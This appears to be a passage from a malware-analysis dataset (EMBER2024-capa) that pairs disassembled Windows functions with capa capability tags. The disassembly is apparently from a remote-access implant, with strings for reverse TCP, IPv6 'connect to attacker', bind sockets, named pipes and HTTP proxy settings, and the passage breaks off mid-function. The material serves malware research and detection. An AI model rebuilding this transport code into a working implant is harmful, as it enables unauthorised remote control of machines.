joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000cf54
Capabilities:
Create pipe

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
lea rsi, [rcx + 0x40]
mov rdi, rcx
lea rcx, str._NP_SERVER__Creating_new_server_instance_of__s
mov rdx, rsi
xor ebx, ebx
call fcn.18000b5ec
lea r8, [rsp + 0x70]
lea edx, [rbx + 1]
lea rcx, str.SeSecurityPrivilege
call fcn.18000cdf8
test eax, eax
jne 0x18000d002
xor eax, eax
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x40], ebx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
call fcn.18000cb6c
lea rax, [rsp + 0x40]
mov r9d, 0xff
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebx
mov edx, 0x40000003
mov rcx, rsi
mov dword [rsp + 0x28], 0x10000
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rdi + 0x190], rax
cmp dword [rsp + 0x70], ebx
jne 0x18000d002
lea r8, [rsp + 0x70]
lea rcx, str.SeSecurityPrivilege
xor edx, edx
call fcn.18000cdf8
cmp qword [rdi + 0x190], 0xffffffffffffffff
jne 0x18000d06c
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov r9d, 0xff
xor r8d, r8d
mov edx, 0x40000003
mov rcx, rsi
mov dword [rsp + 0x28], 0x10000
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rdi + 0x190], rax
cmp rax, 0xffffffffffffffff
jne 0x18000d06c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._NP_SERVER__Failed_to_create_named_pipe.
lea rcx, str._s._error_d__0x_x_
mov r8d, eax
mov r9d, eax
mov ebx, eax
call fcn.18000b5ec
jmp 0x18000d0eb
lea rcx, str._NP_SERVER__Creating_the_handler_event
call fcn.18000b5ec
xor r9d, r9d
xor ecx, ecx
lea edx, [r9 + 1]
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x18], rax
test rax, rax
jne 0x18000d0a2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str._NP_SERVER__Failed_to_create_connect_event_for_read_overlap.
jmp 0x18000d056
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rdi + 0x38], rax
test rax, rax
je 0x18000d093
lea rcx, str._NP_SERVER__Inserting_the_named_pipe_schedule_entry
call fcn.18000b5ec
mov rcx, qword [rdi + 0x18]
lea rax, [0x18000be2c]
lea r9, [0x18000b944]
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rax
call fcn.18000aff0
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x18000d10c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret

Function at 0x18000dd9c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret

Function at 0x18000df28
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov r14, rcx
mov rbp, rdx
xor ebx, ebx
lea rcx, str._PIPE__Beginning_read_loop_for_a_total_of__u
mov edx, r8d
mov rdi, r9
mov esi, r8d
mov dword [rax + 0x18], ebx
mov dword [r9], ebx
call fcn.18000dd9c
cmp dword [rdi], esi
jae 0x18000dff1
mov r15d, 0x10000
mov edx, esi
lea rcx, str._PIPE__Trying_to_read__u__0x_x__bytes
sub edx, dword [rdi]
mov r8d, edx
cmp edx, r15d
cmova r8d, r15d
cmova edx, r15d
call fcn.18000dd9c
mov edx, dword [rdi]
mov rcx, qword [r14 + 8]
mov r8d, esi
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rbx
sub r8d, edx
cmp r8d, r15d
cmova r8d, r15d
add rdx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18000dfd8
mov edx, dword [rsp + 0x60]
lea rcx, str._PIPE__ReadFile_claims_to_have_read__u__0x_x__bytes
mov r8d, edx
call fcn.18000dd9c
mov eax, dword [rsp + 0x60]
add dword [rdi], eax
cmp dword [rdi], esi
jb 0x18000df71
jmp 0x18000dff1
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._PIPE__ReadFile_returned_error__u_0x_x
mov r8d, eax
mov edx, eax
mov ebx, eax
call fcn.18000dd9c
lea rcx, str._PIPE__Done_reading_bytes
call fcn.18000dd9c
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x18000e8d4
Capabilities:
Connect pipe
Create pipe

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x60
mov rdi, rcx
mov rsi, rdx
lea r8, [rax + 0x18]
lea rcx, str.SeSecurityPrivilege
mov edx, 1
call fcn.18000cdf8
test eax, eax
jne 0x18000e981
and dword [rsp + 0x40], eax
xor eax, eax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
call fcn.18000cb6c
lea rax, [rsp + 0x40]
xor r8d, r8d
mov r9d, 0xff
mov qword [rsp + 0x38], rax
and dword [rsp + 0x30], 0
lea edx, [r8 + 3]
mov rcx, rdi
mov dword [rsp + 0x28], 0x10000
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [rsp + 0x80], 0
jne 0x18000e97b
lea r8, [rsp + 0x80]
lea rcx, str.SeSecurityPrivilege
xor edx, edx
call fcn.18000cdf8
cmp rbx, 0xffffffffffffffff
jne 0x18000e9d8
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
xor r8d, r8d
lea edx, [r8 + 3]
mov r9d, 0xff
mov rcx, rdi
mov dword [rsp + 0x28], 0x10000
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp rbx, 0xffffffffffffffff
jne 0x18000e9d8
lea rcx, str._NP_CONFIGURE__failed_to_create_pipe:__u_0x_x
mov r8d, eax
mov edx, eax
call fcn.18000dd9c
or rax, 0xffffffffffffffff
jmp 0x18000ea41
call fcn.18000750c
mov edi, eax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
jne 0x18000ea3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
je 0x18000ea3e
lea rcx, str._NP_CONFIGURE__Failed_to_connect_pipe:__u_0x_x
mov r8d, eax
mov edx, eax
call fcn.18000dd9c
lea rcx, str._NP_CONFIGURE__Trying_again_in__u_s
mov edx, 1
call fcn.18000dd9c
mov ecx, 1
call fcn.1800074b0
call fcn.18000750c
sub eax, edi
cmp eax, dword [rsi + 4]
jb 0x18000e9df
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000e9d2
mov rax, rbx
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret

Function at 0x18000f064
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret
Function at 0x18000f114
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov r14d, r9d
mov esi, r8d
mov rbp, rdx
mov rdi, rcx
call fcn.18000750c
mov r15d, eax
call fcn.18000750c
mov r8d, esi
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x18000f18a
mov edx, dword [rsp + 0x60]
lea rcx, str._TCP_RUN__Connection_failed__sleeping_for__u_s
call fcn.18000f064
mov ecx, dword [rsp + 0x60]
call fcn.1800074b0
call fcn.18000750c
sub eax, r15d
cmp eax, r14d
jb 0x18000f140
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret

Function at 0x18000f1ac
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1e0
mov rbx, qword [rsp + 0x230]
mov r15, rcx
mov ebp, r8d
movzx r14d, dx
xor r13d, r13d
lea rcx, [rsp + 0x42]
mov r8d, 0x196
xor edx, edx
mov esi, r9d
mov qword [rbx], r13
mov word [rsp + 0x40], r13w
call fcn.180019b00
lea rdx, [rsp + 0x40]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18000f21a
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x18000f296
mov edx, 1
lea r12d, [rdx + 1]
lea r8d, [rdx + 5]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, r15
mov rdi, rax
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rcx, rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
call qword [sym.imp.WS2_32.dll_inet_addr]
movzx ecx, r14w
mov dword [rsp + 0x34], eax
mov word [rsp + 0x30], r12w
call qword [sym.imp.WS2_32.dll_htons]
lea r8d, [r12 + 0xe]
lea rdx, [rsp + 0x30]
mov r9d, ebp
mov rcx, rdi
mov word [rsp + 0x32], ax
mov dword [rsp + 0x20], esi
call fcn.18000f114
test eax, eax
jne 0x18000f296
mov qword [rbx], rdi
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000f2c0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov dword [rax + 0x18], r8d
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x118]
sub rsp, 0x1f0
mov r12, qword [rbp + 0x148]
mov rsi, rcx
mov rdi, rdx
xor ebx, ebx
lea rcx, [rsp + 0x52]
xor edx, edx
mov r8d, 0x196
mov r13d, r9d
mov qword [r12], rbx
mov word [rsp + 0x50], bx
call fcn.180019b00
lea rdx, [rsp + 0x50]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18000f336
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x18000f436
xor edx, edx
lea rcx, [rsp + 0x24]
mov dword [rsp + 0x20], ebx
lea r8d, [rdx + 0x2c]
call fcn.180019b00
mov r14d, reloc.WS2_32.dll_socket
lea r9, [rbp + 0x148]
lea r15d, [r14 - 0x16]
lea r8, [rsp + 0x20]
mov rdx, rdi
mov rcx, rsi
mov dword [rsp + 0x24], r14d
mov dword [rsp + 0x2c], 6
mov dword [rsp + 0x28], r15d
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x18000f32b
lea r8d, [r14 - 0x11]
mov edx, r15d
mov ecx, r14d
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f3a9
lea rcx, str._STAGELESS_IPV6__failed_to_connect_to_attacker
call fcn.18000f064
jmp 0x18000f32b
mov r14d, ebx
call fcn.18000750c
mov r15d, eax
call fcn.18000750c
mov rdi, qword [rbp + 0x148]
jmp 0x18000f3ec
mov rax, qword [rdi + 0x20]
mov ecx, dword [rbp + 0x130]
mov dword [rax + 0x18], ecx
mov r8d, dword [rdi + 0x10]
mov rdx, qword [rdi + 0x20]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_connect]
mov r14d, eax
cmp eax, 0xffffffff
jne 0x18000f457
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x18000f3c2
mov edx, dword [rbp + 0x140]
lea rcx, str._TCP_RUN__Connection_failed__sleeping_for__u_s
call fcn.18000f064
mov ecx, dword [rbp + 0x140]
call fcn.1800074b0
call fcn.18000750c
sub eax, r15d
cmp eax, r13d
jb 0x18000f3b4
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov ebx, r14d
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, ebx
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, str._STAGELESS_IPV6__Socket_successfully_connected
call fcn.18000f064
mov qword [r12], rsi
jmp 0x18000f427
Function at 0x18000f4e8
Capabilities:
Initialize winsock library
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x118]
sub rsp, 0x1f0
xor r15d, r15d
movzx esi, cx
mov r14, rdx
mov qword [rdx], r15
lea rcx, [rsp + 0x52]
mov r8d, 0x196
xor edx, edx
mov word [rsp + 0x50], r15w
call fcn.180019b00
lea rdx, [rsp + 0x50]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x18000f551
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x18000f66c
mov r8d, 6
mov ebx, r15d
lea r12d, [r8 - 5]
lea r13d, [r8 + 0x11]
mov edx, r12d
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000f585
lea rcx, str._BIND__Unable_to_create_IPv6_socket
call fcn.18000f064
jmp 0x18000f5c7
mov edx, 0x29
lea r9, [rbp + 0x128]
mov rcx, rax
lea r8d, [rdx - 0xe]
mov dword [rbp + 0x128], r15d
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x18000f5f1
lea rcx, str._BIND__Unable_to_remove_IPV6_ONLY_option
call fcn.18000f064
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rcx, str._BIND__Falling_back_to_IPV4
mov ebx, r12d
call fcn.18000f064
mov r8d, 6
mov edx, r12d
lea r12d, [r8 - 4]
mov ecx, r12d
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
jmp 0x18000f5f7
mov r12d, 2
xor eax, eax
mov word [rsp + 0x30], r15w
mov qword [rsp + 0x32], rax
mov qword [rsp + 0x3a], rax
mov qword [rsp + 0x42], rax
mov word [rsp + 0x4a], ax
test ebx, ebx
je 0x18000f62e
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x30], r12w
movzx eax, ax
mov dword [rsp + 0x34], eax
jmp 0x18000f641
movups xmm0, xmmword [0x1800316d8]
mov word [rsp + 0x30], r13w
movdqu xmmword [rsp + 0x38], xmm0
movzx ecx, si
call qword [sym.imp.WS2_32.dll_htons]
neg ebx
lea rdx, [rsp + 0x30]
sbb r8d, r8d
mov r9, r14
mov rcx, rdi
and r8d, 0xfffffff4
mov word [rsp + 0x32], ax
add r8d, 0x1c
call fcn.18000f470
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret

Function at 0x18000f694
Capabilities:
Get socket status

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x240
mov rax, qword [rcx + 8]
mov rsi, rcx
mov rcx, qword [rcx + 0x28]
mov rbx, qword [rax + 0x60]
mov edi, edx
call fcn.1800126f4
and dword [rsp + 0x30], 0
mov rax, qword [rbx]
and dword [rsp + 0x250], 0
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x254], edi
mov ecx, dword [rbx]
lea rax, [rsp + 0x250]
lea rdx, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
inc ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_select]
mov rcx, qword [rsi + 0x28]
mov ebx, eax
call fcn.180012714
lea r11, [rsp + 0x240]
mov rsi, qword [r11 + 0x20]
mov eax, ebx
mov rbx, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180010588
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret

Function at 0x180011abc
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, qword [rcx + 0x60]
mov rbx, rcx
lea rcx, str._HTTP_CONF__Writing_timeouts
mov rsi, rdx
call fcn.180010588
mov eax, dword [rbx + 0x68]
mov dword [rsi + 0x400], eax
mov eax, dword [rbx + 0x6c]
mov r8d, 0x200
mov dword [rsi + 0x404], eax
mov eax, dword [rbx + 0x70]
mov rcx, rsi
mov dword [rsi + 0x408], eax
mov rdx, qword [rbx + 0x58]
call fcn.180019aa0
xor ebx, ebx
cmp qword [rdi + 0x28], rbx
je 0x180011b38
lea rcx, str._HTTP_CONF__Writing_UA
call fcn.180010588
mov rdx, qword [rdi + 0x28]
lea rcx, [rsi + 0x60c]
mov r8d, 0x100
call fcn.180019aa0
cmp qword [rdi + 0x18], rbx
je 0x180011b60
lea rcx, str._HTTP_CONF__Writing_cert_hash
call fcn.180010588
mov rdx, qword [rdi + 0x18]
lea rcx, [rsi + 0x80c]
mov r8d, setsockopt
call fcn.180019130
cmp qword [rdi + 0x40], rbx
je 0x180011b88
lea rcx, str._HTTP_CONF__Writing_proxy
call fcn.180010588
mov rdx, qword [rdi + 0x40]
lea rcx, [rsi + 0x40c]
mov r8d, 0x80
call fcn.180019aa0
cmp qword [rdi + 0x48], rbx
je 0x180011bb0
lea rcx, str._HTTP_CONF__Writing_user
call fcn.180010588
mov rdx, qword [rdi + 0x48]
lea rcx, [rsi + 0x50c]
mov r8d, 0x40
call fcn.180019aa0
cmp qword [rdi + 0x50], rbx
je 0x180011bd8
lea rcx, str._HTTP_CONF__Writing_pass
call fcn.180010588
mov rdx, qword [rdi + 0x50]
lea rcx, [rsi + 0x58c]
mov r8d, 0x40
call fcn.180019aa0
cmp qword [rdi + 0x58], rbx
je 0x180011bfa
lea rcx, str._HTTP_CONF__Writing_custom_headers
call fcn.180010588
mov rdx, qword [rdi + 0x58]
lea rcx, [rsi + 0x820]
call fcn.180019a3c
lea rcx, str._HTTP_CONF__Done.
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.180010588
Function at 0x180012048
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret

Function at 0x1800125cc
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
sub rsp, 0x430
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, 0x400
lea r9, str.__04x_
lea rcx, [rsp + 0x30]
lea r8d, [rbx - 1]
mov edx, ebx
mov dword [rsp + 0x20], eax
call fcn.180019050
lea rcx, [rsp + 0x30]
call fcn.180019730
lea r9, [rsp + 0x448]
lea r8d, [rbx - 3]
mov qword [rsp + 0x20], r9
mov r9, qword [rsp + 0x440]
lea rcx, [rsp + 0x30]
mov edx, ebx
sub r8, rax
add rcx, rax
sub rdx, rax
call fcn.18001c2d8
lea r8, [0x180028688]
lea rcx, [rsp + 0x30]
mov edx, ebx
call fcn.180019698
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x30]
call fcn.180018e34
add rsp, 0x430
pop rbx
ret

Function at 0x180012964
Capabilities:
Create thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rsi, r9
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test rcx, rcx
jne 0x180012995
xor eax, eax
jmp 0x180012a15
mov ecx, 0x38
call fcn.180018f98
mov rbx, rax
test rax, rax
je 0x18001298e
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x38]
call fcn.180019b00
call fcn.180012734
mov qword [rbx + 0x10], rax
test rax, rax
jne 0x1800129cd
mov rcx, rbx
call fcn.180018f58
jmp 0x18001298e
lea r8, [0x180012b58]
mov r9, rbx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [rbx + 0x20], r14
mov qword [rbx + 0x28], rbp
mov qword [rbx + 0x30], rsi
mov qword [rbx + 0x18], rdi
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 8], rax
test rax, rax
jne 0x180012a12
mov rcx, qword [rbx + 0x10]
call fcn.180012790
jmp 0x1800129c3
mov rax, rbx
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x180012a70
Capabilities:
Resume thread

Disassembly:
sub rsp, 0x28
test rcx, rcx
jne 0x180012a7d
xor eax, eax
jmp 0x180012a8c
mov rcx, qword [rcx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
add rsp, 0x28
ret
Function at 0x180012ab0
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
test rcx, rcx
jne 0x180012ac1
xor eax, eax
jmp 0x180012ad5
mov rcx, qword [rcx + 8]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateThread]
test eax, eax
setne bl
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x180013cb4
Capabilities:
Compute adler32 checksum

Disassembly:
movzx r9d, cx
shr ecx, 0x10
mov r10, rdx
test rdx, rdx
jne 0x180013deb
lea eax, [rdx + 1]
ret
mov edx, 0x15b0
cmp r8d, edx
cmovb edx, r8d
sub r8d, edx
cmp edx, 0x10
jl 0x180013db0
mov r11d, edx
shr r11, 4
mov eax, r11d
neg eax
shl eax, 4
add edx, eax
movzx eax, byte [r10]
add r10, 0x10
add r9d, eax
movzx eax, byte [r10 - 0xf]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 0xe]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 0xd]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 0xc]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 0xb]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 0xa]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 9]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 8]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 7]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 6]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 5]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 4]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 3]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 2]
add ecx, r9d
add r9d, eax
movzx eax, byte [r10 - 1]
add ecx, r9d
add r9d, eax
add ecx, r9d
dec r11
jne 0x180013cf4
test edx, edx
je 0x180013dc5
movzx eax, byte [r10]
inc r10
add r9d, eax
add ecx, r9d
dec edx
jne 0x180013db4
mov eax, 0x80078071
mul r9d
